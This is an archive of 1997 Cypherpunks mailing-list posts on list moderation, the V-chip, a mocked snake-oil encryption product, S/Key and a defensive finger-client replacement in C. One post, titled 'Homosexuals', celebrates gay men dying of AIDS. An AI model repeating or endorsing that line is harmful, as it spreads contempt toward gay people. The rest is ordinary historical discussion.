> Typical modern American attitude, getting it right is too much work so let's
> lower the benchmark so anyone can be 'right'.

  Are you referring to the CypherPunks 'censored' list?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 05:57:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701241357.FAA24866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:   IN%"abostick@netcom.com"  "Alan Bostick" 23-JAN-1997 23:09:54.72
> 
> >In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
> >Malcolm Gladwell, makes a powerful arguement about the unintended
> >consequences of the V-Chip

  I noticed that when my nephews buy video games, the first ones they
check out are the ones plastered with the 'protective' ratings-symbols
that proclaim that the game is the 'baddest of the bad' in terms of
violence, etc.
  Thanks to the violence-rating system, they no longer have to waste
time checking out 'dweeb' programs that contain absolutely no blood
and gore.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 06:12:32 -0800 (PST)
To: Krenn <krenn@nym.alias.net>
Subject: Re: If you were unable to download UDCM V2.0 before...
Message-ID: <199701241412.GAA25302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Krenn wrote:
 
> Oh most certainly! I'm gonna run out and implement EVERYTHING in UDCM!!
> Thanks man!!

  Yours is the post these guys have been waiting for. All of those other
CypherPunks just 'flamed' them  by asking technical questions about 
their products.
  Who knows, they may make you their marketing manager.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 06:11:25 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701241411.GAA25271@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames
> mailing list.

  I have noticed that the 'sorting' of messages seems to be based
as much on personality as upon content. 
 
> The explanation that Sandy Sandfort gave me mentioned that he rejected
> my message because it continued a thread where Sandy noticed instances
> of "flaming". Note that my message was free of any flames, including
> its quoted part.

  The standard of what constitutes a 'flame' seems to rest very much
upon whom a comment is directed at, or merely 'vaguely toward'.  
There have been more than a few postings stronly lambasting various
generic grouping of individuals which have passed without censoring.
  Your post, however, included Dr. Dimitri's vague reference to
a homosexual 'elite'. While it was directed toward no one in 
particular, I suppose one could 'infer', from his past postings,
that it referred to certain individuals, or a group of individuals.
  So it would seem that, in quoting the posts of others, one must
take into consideration what various readers may infer from their
previous posts.

> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list.

  This was more than obvious to anyone who cared to cast an objective
eye on the process, but their input was pooh-paah'd by the 'washed 
masses'.

> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

  Like all of the 'opinions' that were expressed prior to the censorship
of the list? I haven't seen any indication that these opinions were 
given the slightest consideration.  This is not the readership's list.
It is a private individual's list.

  My view of Sandy's moderation is that it is rather willy-nilly, and
not done particularly objectively. There have been personal insults 
directed toward various individuals, including myself, which seem 
not to have been considered 'flames', while there are more than a few 
posts which, even on the closest of inspection, I can see no reason 
for dumping the the 'flame-crapper', other than the fact that they 
are somewhat associated to the 'unclean' list members.
  The moderation, at best, seems to encourage 'snide' commentary
meant to be ill-disguised cheap-shots. I would much rather have 
list members taking strong, clean shots at their 'targets', than
to be subjected to two-faced people talking out of the side of
their mouths.

  In short, I don't see the moderation as being 'fair', and I don't
think it was ever meant to be.
  I don't have a problem with this, since it's a private list, and, 
as far as I am concerned, the list-owner can censor it, or have it
censored, any way he or she sees fit.
  I would like to point out, however, that anyone who has had their
posts 'sorted' into the 'flames list' is now a 'known flamer', as
evidenced by the fact that their post has been designated a 'flame'
on a list run by a champion of free speech on the electronic
frontier.
  It is obvious that some of the more intuitively intelligent list
members are aware of this, as is indicated by the nervous fear with
which they 'explain why' their post is crypto-relevant.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Fri, 24 Jan 1997 06:10:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701241410.GAA25221@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> I would like to start a thread to discuss the moderation and rejection
> policy.

I predict that Sandy won't allow any posts on the censored list that
question his moderation poilicy - only the unanymous praises.

> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames
> mailing list.

A dishonorable act.

> You can receive a copy of my article by an email request.

Perhaps you want to start putting up rejected articles on a Web page?

> The explanation that Sandy Sandfort gave me mentioned that he rejected
> my message because it continued a thread where Sandy noticed instances
> of "flaming". Note that my message was free of any flames, including
> its quoted part.

That's correct.

> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list. I question this policy.

Sandy's personal likes and dislikes of certain posters are the criterion.

> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

You won't be allowed to on this censored mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 24 Jan 1997 08:10:45 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: seeds of our own destruction
Message-ID: <199701241610.IAA28244@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>    at 01:13 AM, Kevin Stephenson <cts@deltanet.com> said:
> +You wrote some very interesting articles. It is the UN.
>     if you want a real scare, read the UN "world constitution" on
>     human rights and privacy --their idea of a Bill of Rights.  It just
>     happens that it is virtually word for word equivalent to the
>     mainland Chinese "rights"  -in other words: rights as long as they
>     are consistent with the aims of the state (UN) and the security
>     needs of the state at the given moment.
[snip]
> +Read Revelations (if you haven't).
>     the best general reference on symbology, at least of what I
>     have seen so far:  Opening the Seven Seals (The Visions of John the Revelator)
>     Richard D. Draper, Desert Books, Salt Lake City, ISBN 087579-547-1, SKU 2142298

Wendy Wallace (I think) has written something about the 4 horsemen of
the Apocalypse, and they've been running excerpts in Paranoia magazine.
I really like Paranoia mag, check it out.

If you like heavy-duty scary symbology writing (can't vouch for the
exact content), check out Texe Marrs who has a recent book on the
subject (can't remember the title, but pictures of the symbols on
the cover, in paperback).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Fri, 24 Jan 1997 06:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri??
Message-ID: <199701241410.GAA25218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
>
> > I have noticed that there has not been any post from Dimitri in a couple of
> > days.
> >
> > I am assuming that this means that the list moderation has now started?
>
> Yes - anything I say is junked irrespective of content.

I see that Moderator Sandfort has allowed this article through (to prove
me wrong) but has tossed all my other articles into cypherpunks-flames.
Most of them were crypto-relevant, on-topic, and contained no flames.

I bet he's going to toss this one too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Fri, 24 Jan 1997 06:14:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Homosexuals
Message-ID: <199701241414.GAA25350@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


fuck you <satan_is_a_hacker@juno.com> writes in the censored list:

> If anyone has any text files on the following topics please send them.
...
> Anything underground

Anything?  My good friend TRRCJ3 reports from San Francisco that the
city is much nicer now that so many homosexuals are 6 feet under.

Thank God for AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven M Orrin <privsoft@ix.netcom.com>
Date: Fri, 24 Jan 1997 10:19:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2 Questions
Message-ID: <199701241819.KAA02578@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey guys,
2 quick questions:

Are there any known hacks or weaknesses in S/Key?

Has Anyone heard of a new product called SecureWin from Cipher Logics 
Corp. It looks like vaporware but is a little more sophisticated than 
the usual product spams (like IPG, POTP, Encrypt-it, WinKrypt etc.)
[I checked there web page some interesting fuctions, , No software 
available yet and Phone numbers are either busy or not in service, go 
figure]

thanks 

Steveo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Fri, 24 Jan 1997 05:59:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If you were unable to download UDCM V2.0 before...
Message-ID: <199701241359.FAA24942@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> {If you were unable to download UDCM V2.0 before, we're extremely sorry.}
> {UDCM's web site may have been under construction during the time you
> visited.}
> {UDCM's web site has finished undergoing its changes and will operate
> correctly.}
> {UDCM V2.0 has been extensively modified from its previous variation.}
> {Digital signaturing and public key cryptosystem capabilities have been
> added.}
> {UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
> {UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
> {UDCM's on-line help documentation has also been extensively modified.}
> {This advertisement has also been modified.}

Well halellujah.


> Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
> Engineering Technologies. I am sending you this message to let you know that
> DataET Research has recently initiated the distribution of UDCM, Universal
> Data Cryptography Module. UDCM implements a revolutionarily new, extremely
> advanced and sophisticated, digital data encryption algorithm named IMDMP,
> Integrated Mathematical Data Manipulation and Positioning.
> 
> UDCM (the IMDMP algorithm)...

OH! OF COURSE! IMDMP! COOL!!

> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Contains more than 150 procedures and functions.

WOW!! 150!!!

> o Is a very cost-effective size of only 60 kilobytes.
> o Implements the IMDMP encryption algorithm.

Of course, who doesn't?!

> o Allows encryption keys as large as 2048 bits.
> o Includes 18 sub-algorithms.

18?! HOLY COW!!

> o Processes all forms of binary and ASCII files.

What a breakthrough! Astounding!!

> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.

Of course not, it's IMDMP!!

> o Includes time and date locking features. 
> o Includes file specific unique encryption features.

Specific unique encryption features!! NO WAY!! COOL!!!

> o Includes file authentication guard features.
> o Includes digital signaturing capabilities.
> o Implements the public key cryptosystem method of security.

Of course, everyone knows the public key cryptosystem method is the
best! Excellent!

> o Includes data importance and sensitivity stamping features.
> 
> UDCM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
> Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
> 
> DataET Research has released a shareware version of UDCM named UDCM V2.0.

Hey, v2.0, neat name, where'd you come up with it?!

> 
> To download UDCM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/udcm.html.

AOL!! Oh YES! Cool!

> 
> I hope you will consider applying UDCM in the software you develop. Thank-you
> very much for your time.

Oh most certainly! I'm gonna run out and implement EVERYTHING in UDCM!!
Thanks man!!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMuhyVUnqfwPpt/QVAQFM4wQAymizJEI/F5SFcWILNfGNoIsxxYza6Bfo
yadEF9BnlcXujq0ZFZiRv7SddXjTS5TgVZLutZdEIx/NYPESkH7MXh18CyI/EXo6
NSyAiE0pFFRIrAgV4FWVVS9jsTWKucfI7NbWKSLEWTK8e6fdywAlXzlvbPT+1v6C
b4vWK4akrBs=
=74mf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Fri, 24 Jan 1997 06:13:06 -0800 (PST)
To: "'DataETRsch@aol.com>
Subject: RE: If you were unable to download UDCM V2.0 before....
Message-ID: <199701241413.GAA25332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: 	DataETRsch@aol.com[SMTP:DataETRsch@aol.com]

>o Includes time and date locking features. 

How do you implement this feature?  Where is the time/date information
stored?  Is this in that header you were talking about before?  Is there
some method which is designed to thwart simply changing the CMOS 
time?

Thanks!

~ Patrick


>----------
>From: 	DataETRsch@aol.com[SMTP:DataETRsch@aol.com]
>Sent: 	Thursday, January 23, 1997 9:35 PM
>To: 	cypherpunks@toad.com
>Subject: 	If you were unable to download UDCM V2.0 before....
>
>{If you were unable to download UDCM V2.0 before, we're extremely sorry.}
>{UDCM's web site may have been under construction during the time you
>visited.}
>{UDCM's web site has finished undergoing its changes and will operate
>correctly.}
>{UDCM V2.0 has been extensively modified from its previous variation.}
>{Digital signaturing and public key cryptosystem capabilities have been
>added.}
>{UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
>{UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
>{UDCM's on-line help documentation has also been extensively modified.}
>{This advertisement has also been modified.}
>
>Hello,
>
>Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
>Engineering Technologies. I am sending you this message to let you know that
>DataET Research has recently initiated the distribution of UDCM, Universal
>Data Cryptography Module. UDCM implements a revolutionarily new, extremely
>advanced and sophisticated, digital data encryption algorithm named IMDMP,
>Integrated Mathematical Data Manipulation and Positioning.
>
>UDCM (the IMDMP algorithm)...
>
>o Is a royalty-free Windows DLL module featuring advanced cryptography.
>o Contains more than 150 procedures and functions.
>o Is a very cost-effective size of only 60 kilobytes.
>o Implements the IMDMP encryption algorithm.
>o Allows encryption keys as large as 2048 bits.
>o Includes 18 sub-algorithms.
>o Processes all forms of binary and ASCII files.
>o Allows multiple encryption layer levels.
>o Has absolutely no back-doors or magical keys.
>o Includes time and date locking features. 
>o Includes file specific unique encryption features.
>o Includes file authentication guard features.
>o Includes digital signaturing capabilities.
>o Implements the public key cryptosystem method of security.
>o Includes data importance and sensitivity stamping features.
>
>UDCM, being a Windows DLL module, can be accessed through programs developed
>with popular application and database programming languages and environments
>such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
>Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
>
>DataET Research has released a shareware version of UDCM named UDCM V2.0.
>
>To download UDCM V2.0 for free, please go to:
>http://members.aol.com/dataetrsch/udcm.html.
>
>I hope you will consider applying UDCM in the software you develop. Thank-you
>very much for your time.
>
>Sincerely,
>
>Jeremy K.Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 24 Jan 1997 08:10:47 -0800 (PST)
To: Peter M Allan <peter.allan@aeat.co.uk>
Subject: Re: fingerd
Message-ID: <199701241610.IAA28245@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter M Allan wrote:
> 
> These messages have been sent about fingerd.
> My preference for fiddling with remote fingers is to
> leave fingerd as supplied by the vendor (run by "nobody") and
> replace the finger program itself.  It can be made to recognise
> when it is being run by "nobody" and behave differently
> from when run by another user.
> 
> Source at the end of this file.  (Bashed out fairly quickly
> starting from a utmp-eraser I made for a luser who wouldn't
> tolerate wall messages from shutdown.)
> 
> I have (among other things) an extension to TCP-wrappers
> (a new hosts_access.c file), and a prog to find disk space wasted by duplicated files.  
> (mail me with Subject: "send goodies" for these.)
> /*  
> *  
> *  compile and test myfinger
> *  
> *  	cc  -C -o myfinger myfinger.c
> *  
> *  
> *  (assuming the standard finger is /usr/ucb/finger)
> *     cp /usr/ucb/finger /usr/ucb/finger.real
> *     cp myfinger /usr/ucb/finger
> *  
> *  
> *  (if using TCP wrapper reverse-fingers, make them NOT nobody,
> *   but another id such as nobody2.)
> *  
> *  I disclaim any disasters........
> *  
> */  
> 
> /*
>  *
>  *   my finger program - local only, to be less informative than /usr/ucb/finger
>  *   
>  */
> 
> 
> #undef _utmp_h
> #define TRUE  1
> #define FALSE 0
> #define FAKE 1
> #define WIPE 2
> #define UTMP "/etc/utmp"
> 
> 
> #include <stdio.h>
> #include <pwd.h>
> #include "utmp.h"
> #include <lastlog.h>
> 
> main(argc, argv, env)
> int  argc;
> char **argv;
> char **env;
> {
> 	int  i, listed;
> 	struct passwd *pwent;
> 
> 	if (argc < 1)
> 		exit(0);	/* beat sneaks */

argc is never less than one.

>          /*  If run by "nobody" (uid=65534) assume this is a remote finger */
>          /* otherwise run the standard finger command */
>          if (65534!=getuid()) {
>                        execv("/usr/ucb/finger.real", argv);
>                        /** if we get here exec failed, so we default to my finger  **/

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 24 Jan 1997 07:55:37 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701241555.HAA27671@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:23 AM 1/24/97 -0500, Alan Bostick wrote:
>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  

Great analogy except that it's wrong.  Subway tunnels were hot before the cars ever had air conditioning.  The traditional method of controlling the amount of power delivered to an electric traction motor was to run the juice through a resistor array.  As the motorman moved the controller up and down, the current would pass through fewer and more banks on the grid of resistors and the amount delivered to the motors would change.  Well you might guess that at 600 V DC and I don't know how many Watts, those resistor grids had to dump a lot of heat.  They were/are located on the tops or bottoms of cars and are quite apparent when the cars pass you on a winter morning.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fuck you <satan_is_a_hacker@juno.com>
Date: Fri, 24 Jan 1997 07:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701241555.HAA27672@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Are their any H/ P/ V/ A/ C ers   on this list??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 06:11:23 -0800 (PST)
To: Kevin Stephenson <cts@deltanet.com>
Subject: Re: seeds of our own destruction
Message-ID: <199701241411.GAA25269@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <32E72BCB.3CBA@deltanet.com>, on 01/23/97 
   at 01:13 AM, Kevin Stephenson <cts@deltanet.com> said:

+You wrote some very interesting articles. It is the UN.

        if you want a real scare, read the UN "world constitution" on
    human rights and privacy --their idea of a Bill of Rights.  It just
    happens that it is virtually word for word equivalent to the 
    mainland Chinese "rights"  -in other words: rights as long as they 
    are consistent with the aims of the state (UN) and the security 
    needs of the state at the given moment.

        ...and the UN is to be granted overall sovereignity by virtue 
    of the right to unilateraly tax its 'member' states, and not 
    necessarily in an equitable fashion.

        to put it in context, it is clearly the havenots reducing 
    everyone to the status of havenot; there will be no others. this, 
    of course, will eventually give way to tribal governments and the 
    cycle will start over after the population is reduced by its own 
    pollution and starvation to a new balance with nature.  disease, 
    more than starvation, will be the biggest killer.  men will be too 
    hungry, and too sick, to fight until it stabilizes.

        there will be exceptions, of course, but they will lack 
    sufficient power to extend their sphere of influence before they 
    are overrun by the mass, or destroyed by chemical and germ warfare 
    in the last gasp. 

        the meaning of the 144,000 becomes more clear...

+Read Revelations (if you haven't). 
    
        have more than several textbooks on it, and have taught classes 
    on Revelation. 

        however, I strongly believe the interpretations are still 
    'every man for himself' --presuming, of course, the propounder has 
    at least the prerequisite grounding and understanding in the 
    fundamental concepts, starting with John the Revelator, who 
    never died, and why portions of the book are sealed. 

        the best general reference on symbology, at least of what I 
    have seen so far:

        Opening the Seven Seals
            (The Visions of John the Revelator)

        Richard D. Draper
        Desert Books, Salt Lake City
        ISBN 087579-547-1, SKU 2142298     
    

+Maybe put some scriptures on cypherpunks.

    casting pearls before swine?

+Happy Armageddon.

    Frances Ford Coppola wasted the good title: 'Apocolypse Now'

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Charset: latin1
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HOpugpbs8V4=
=2XXx
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 24 Jan 1997 13:14:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Online Spending with Smart Cards and E.Cash to To US$3.5bn by year 2000
Message-ID: <199701242114.NAA07699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 24 Jan 97 00:04:40 +0100
To: dcsb@ai.mit.edu
Subject: Online Spending with Smart Cards and E.Cash to To US$3.5bn by year
2000
Cc: nelson@media.mit.edu.geer@OpenMarket.com
From: a9050756@unet.univie.ac.at (Mike Alexander)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: a9050756@unet.univie.ac.at (Mike Alexander)


>>[some Fed reserve guy's] argument for stored value cards is that the
>>business costs of handling cash are so substantial that there is room
>>for merchants to discount purchases when made by a means that does
>>not require that handling cost.
>
>Does anyone know of a source for information on the overhead of
>accepting various forms of payment? I assume the cost of cash is
>smaller than credit cards for purchases under, say, $500. Any
>estimates on smart cards? On pure digital cash (delivered via a
>browser)?
>
>I'm particularly interested in micropayments, but the larger question
>is interesting as well.

I've worked on this topic extensively in the past months (writing a doctoral
thesis on efficiency and risk in the payment system). I can assure you this:
cash in is still and will remain one of the most efficient payment
instruments.
This holds looking at it from a private as well as social cost perspective
with
sufficient empirical support.



Best Regards,

Michael Alexander
Doctoral Student at the University of Vienna

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bc4M0u16GqmV5eI=
=5l49
-----END PGP PUBLIC KEY BLOCK-----


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zer <satan_is_a_hacker@juno.com>
Date: Fri, 24 Jan 1997 08:10:50 -0800 (PST)
To: attila@primenet.com
Subject: Re: seeds of our own destruction
Message-ID: <199701241610.IAA28246@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Very soon humans will not have any purpose in life but to replicate
themselves. At least before the computer came along we kept ourselves
busy. But now we are getting computers to do the jobs that make up life.
We already precluded the need for math a long time ago.But know their are
spell checkers and even applications that check your spelling as you
write. I just saw on "The Site" how computers will be in shoes, in milk
cartons and in door mats. The human bodies salinity will act as a
conductor for the binary information. You pick up the milk carton which
then tells your your shoes that its not fresh. Then when your foot
touches the door mat in Publix it tells your watch to beep and say "You
DONT Got Milk" Then their will be that the floor in your apartment tells
the coffee pot to make coffee because it found a low caffeine level in
your body. You can shake hands with someone  and automatically transmit
their business card to the hard drive in your shoe. The pay phone will
know exactly who to bill the second the receiver is touched. But what if
I bump into you, now I have your business card. What if I steal your
shoe! Oh but dont worry, all this information will be ENCRYPTED.As we all
know once something is encrypted its perfectly safe.Yeah right, And Bill
Gates still uses a 310 baud modem. If someone really needs to know what's
on your shoeputer then they will set their 1586 700Mhz (or whatever they
have by then) do do just that. So what if it takes 2 weeks or 2 months.
They will have every single aspect of your life from your medical records
to credit card numbers to phone number(will they even USE phone numbers
by then) to your shoe size. But wait theirs more. If you haven't been
crawling through a cave for the past few months you will see that Intel
boasts that their chips will be able to perform 2 gigaflops or 2 billion
calculations per second.Can you imagine that. If you did one mathematical
calculation per second it would take you 31 thousand years. It did it in
a second, don't you feel dumb. Now imagine had one of these bad boys and
your shoes. How long would it take? Two hours, three or maybe, if its
really dragging, a day.Thats just the good old steal it and use it
technique. I don't even want to go into how people could intercept
information, copy it, or make their own.Well , I think I caused you
enough cranial burden for today, so remember technology is like drugs,
there are always more and they keep getting more effective but you do not
need them. They need you.

								Jonathan
Leto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zer <satan_is_a_hacker@juno.com>
Date: Fri, 24 Jan 1997 08:12:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701241612.IAA28256@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does any one know of any other good mailing Lists either with crypto or
anything underground





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 24 Jan 1997 10:56:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701241856.KAA03653@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:57 PM 1/23/97 -0800, Alan Bostick wrote:
>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.
>
>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  Similarly, he argues, "the V-chip is likely to
>increase the amount of sex and violence on television, not decrease it"
>because when viewers can block offensive programming, there is far less
>pressure on broadcasters and cable operators to avoid offending.
>
>This is just the sort of thing that John Young is given to scanning and
>putting up on his Web site or sending out to people who send him email
>with FUN_nie subject lines.  If I were him, I'd put it up.
>
>And, for the benefit of those people who don't think the V-Chip isn't in
>itself on-topic for cypherpunks, I might point out that Gladwell's
>argument applies equally well to mail filtering with procmail recipes --
>or Sandy's and John's list moderation experiment.  If the noise level on
>the unmoderated list jumps to even higher than we were seeing before
>the moderation began, that would provide observational support to
>Gladwell's argument.

You forgot about one thing, TV is one way.
The V-chip will have dueling results.  On the one hand, advertisers will
only pay for shows that will have a large viewership.  If that means that a
rather objectionable show, which would traditionally draw a large population
of pre-teens, can't be seen by its largest body of fans, it will probably be
cut.
On the other hand, TV execs won't have to worry about objections any longer
and thus can broadcast what they want, assuming that they can find a
decently large group of closet viewers.  (Not a misstype, I meant people who
are in the closet about their preferences, such as the minister with the
playboy channel.)

And TV is mostly one way.
This net is two way, many of the shock posts were put here to draw fire.
If the audience of these shock posts can not be reach to be outraged, the
vile spewer will first raise the stakes, spewing even more garbage and then,
finally, giving up.  Just like the old argument, don't encourage them, just
ignore them.
Plus, a number of reply posts to the garbage will never be written because
thier authors will have never seen the trash that they would have replied to.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 24 Jan 1997 10:17:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: PSS_sst
Message-ID: <199701241817.KAA02540@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


New Scientist of 25 January reviews the Bernstein's 
case against crypto export, US global seduction of
foreign goverrments to suppress domestic calls for
privacy, and therewith deftly alerts British leaders and 
readers to undermining the "secretive bureaucratic" 
Uncle Sam scam, says the deft-underminer cpunkers 
quoted.

-----

PSS_sst








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Fri, 24 Jan 1997 10:43:20 -0800 (PST)
To: ichudov@algebra.com
Subject: RE: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701241843.KAA03251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com wrote> 
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.
>
>I would like to hear your opinions as to whether such policies 
>satisfy the current readership.
>
> - Igor.
  
I am not enthused about the perceived need for moderation.
But neither was I enthused with the state of the list.
 
However, I will reserve judgement as to the success or failure of the experiment
for a while yet. The question for me is how much the moderation improves the S/N
ratio v.s. how much it impedes dialogue.
 
I expect Sandy to make mistakes, even by his own criterion. But anyone who will
publicly admit to shaving his eyebrows is probably not swayed by popular
opinion.
 
James








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter M Allan <peter.allan@aeat.co.uk>
Date: Fri, 24 Jan 1997 06:14:54 -0800 (PST)
To: steve@miranova.com
Subject: Re: fingerd
Message-ID: <199701241414.GAA25351@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Hi,


These messages have been sent about fingerd.
My preference for fiddling with remote fingers is to
leave fingerd as supplied by the vendor (run by "nobody") and
